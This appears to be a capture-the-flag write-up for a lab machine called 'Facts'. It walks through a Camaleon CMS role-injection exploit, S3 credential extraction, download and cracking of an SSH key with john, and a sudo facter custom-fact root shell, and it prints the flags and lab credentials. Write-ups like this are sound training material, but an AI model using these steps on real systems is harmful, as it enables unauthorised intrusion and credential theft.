IP Address: 10.129.244.96
- Port 22 - SSH (OpenSSH 9.9p1 Ubuntu)
- Port 80 - HTTP (nginx 1.26.3) → Camaleon CMS at
http://facts.htb/ - Port 54321 - MinIO (S3-compatible object storage), console redirects to port 9001 (localhost only)
- CMS: Camaleon CMS (Ruby on Rails based)
- Homepage:
http://facts.htb/ - Admin panel:
http://facts.htb/admin/login - Posts found:
/welcome,/animal-ejected
- Username:
ahmed - Password:
ahmed123
- Vulnerability: Camaleon CMS < 2.9.1 allows authenticated users to escalate to admin by injecting
password[role]=adminduring password change viaupdated_ajaxendpoint. - Exploit:
exploits/CVE-2025-2304-POC/exploit.py - Usage:
python3 exploit.py http://facts.htb ahmed ahmed123 - Result: User
ahmedescalated to Administrator role.
| ID | Username | Role | |
|---|---|---|---|
| 1 | admin | admin@local.com | Administrator |
| 8 | ahmed | ahmed@facts.htb | Administrator |
| 5 | hacker99 | hacker99@test.com | Client |
| 6 | hacker2023 | hacker2023@test.com | Client |
| 7 | adminrole3 | adminrole3@test.com | Client |
Found S3/MinIO credentials in Admin → Settings → Site (/admin/settings/site):
| Setting | Value |
|---|---|
| Filesystem Type | S3 (checkbox checked) |
| Access Key | AKIA5EA4FBE8ADCCDF36 |
| Secret Key | OCxJ57i91jcV7S9NSGO6CV3mUdYFEehYxoBsrdZj |
| Bucket Name | randomfacts |
| Region | us-east-1 |
| Endpoint | http://localhost:54321 |
| CloudFront URL | http://facts.htb/randomfacts |
export AWS_ACCESS_KEY_ID=AKIA5EA4FBE8ADCCDF36
export AWS_SECRET_ACCESS_KEY=OCxJ57i91jcV7S9NSGO6CV3mUdYFEehYxoBsrdZj
# List buckets
aws --endpoint-url http://facts.htb:54321 s3 ls
# List bucket contents
aws --endpoint-url http://facts.htb:54321 s3 ls s3://internal/ --recursive
aws --endpoint-url http://facts.htb:54321 s3 ls s3://randomfacts/ --recursive
# Download files
aws --endpoint-url http://facts.htb:54321 s3 cp s3://internal/.ssh/id_ed25519 ./id_ed25519- randomfacts - Public CMS media files (images, uploads). Served via nginx at
/randomfacts/. Policy allows public read/write. - internal - Home directory backup containing:
.bash_logout,.bashrc,.profile.cache/motd.legal-displayed.lesshst.ssh/authorized_keys.ssh/id_ed25519← SSH private key (encrypted)
- Location on PC:
/tmp/id_ed25519_facts(also/tmp/id_ed25519_facts_use) - Key type: ED25519, encrypted with aes256-ctr + bcrypt
ssh2john /tmp/id_ed25519_facts > /tmp/id_ed25519_facts.hash
john --wordlist=/usr/share/wordlists/rockyou.txt /tmp/id_ed25519_facts.hash- Passphrase cracked:
dragonballz
- Found from the website theme: "Discover Amazing Trivia!"
- The website is a trivia/facts site → system user is
trivia
# Download key from MinIO
aws --endpoint-url http://facts.htb:54321 s3 cp s3://internal/.ssh/id_ed25519 ./id_ed25519
chmod 600 ./id_ed25519
# SSH login
ssh -i ./id_ed25519 trivia@facts.htb
# Passphrase: dragonballz- Ubuntu 25.04 (Linux 6.14.0-37-generic x86_64)
- Home dir:
/home/trivia(no user.txt here) - Another user:
williamat/home/william - User flag:
b37772ab205c1597dc117097dddf995c(in/home/william/user.txt)
User trivia may run the following commands on facts:
(ALL) NOPASSWD: /usr/bin/facter
facter is a Ruby-based system facts tool (from Puppet). The --custom-dir flag allows loading custom Ruby fact files. Since we can run facter as root, we inject a fact that spawns a shell:
# Create malicious custom fact
mkdir -p /tmp/facts
echo 'Facter.add(:exploit) do setcode do system("/bin/bash") end end' > /tmp/facts/exploit.rb
# Run as root (--custom-dir bypasses env_reset which blocks FACTERLIB)
sudo /usr/bin/facter --custom-dir /tmp/facts exploit
# → root shell!- Root flag:
839fff9faee958add9e2a9277aa10057(in/root/root.txt)
Facts/
├── README.md ← This file
├── exploits/
│ ├── CVE-2025-2304-POC/ ← Privilege escalation exploit
│ │ ├── exploit.py
│ │ └── README.md
│ └── ssh_user_enum.sh ← SSH username brute force script
├── loot/
│ └── ssh_enum_results.log ← Brute force results
├── notes/
└── recon/
├── initial_scan.nmap ← Nmap service scan
├── full_portscan.nmap ← Nmap all ports scan
├── ffuf_common.json ← Directory brute force results
└── fr_facts.htb_*/ ← Web recon (URLs, JS, headers, etc.)
| Flag | Value |
|---|---|
| User | b37772ab205c1597dc117097dddf995c |
| Root | 839fff9faee958add9e2a9277aa10057 |
- Register account on Camaleon CMS → CVE-2025-2304 privesc to admin
- Extract MinIO credentials from CMS admin settings
- Download SSH private key from
s3://internal/.ssh/id_ed25519 - Crack key passphrase with john:
dragonballz - SSH as
trivia(from website theme "Discover Amazing Trivia!") sudo facter --custom-dirwith malicious Ruby fact → root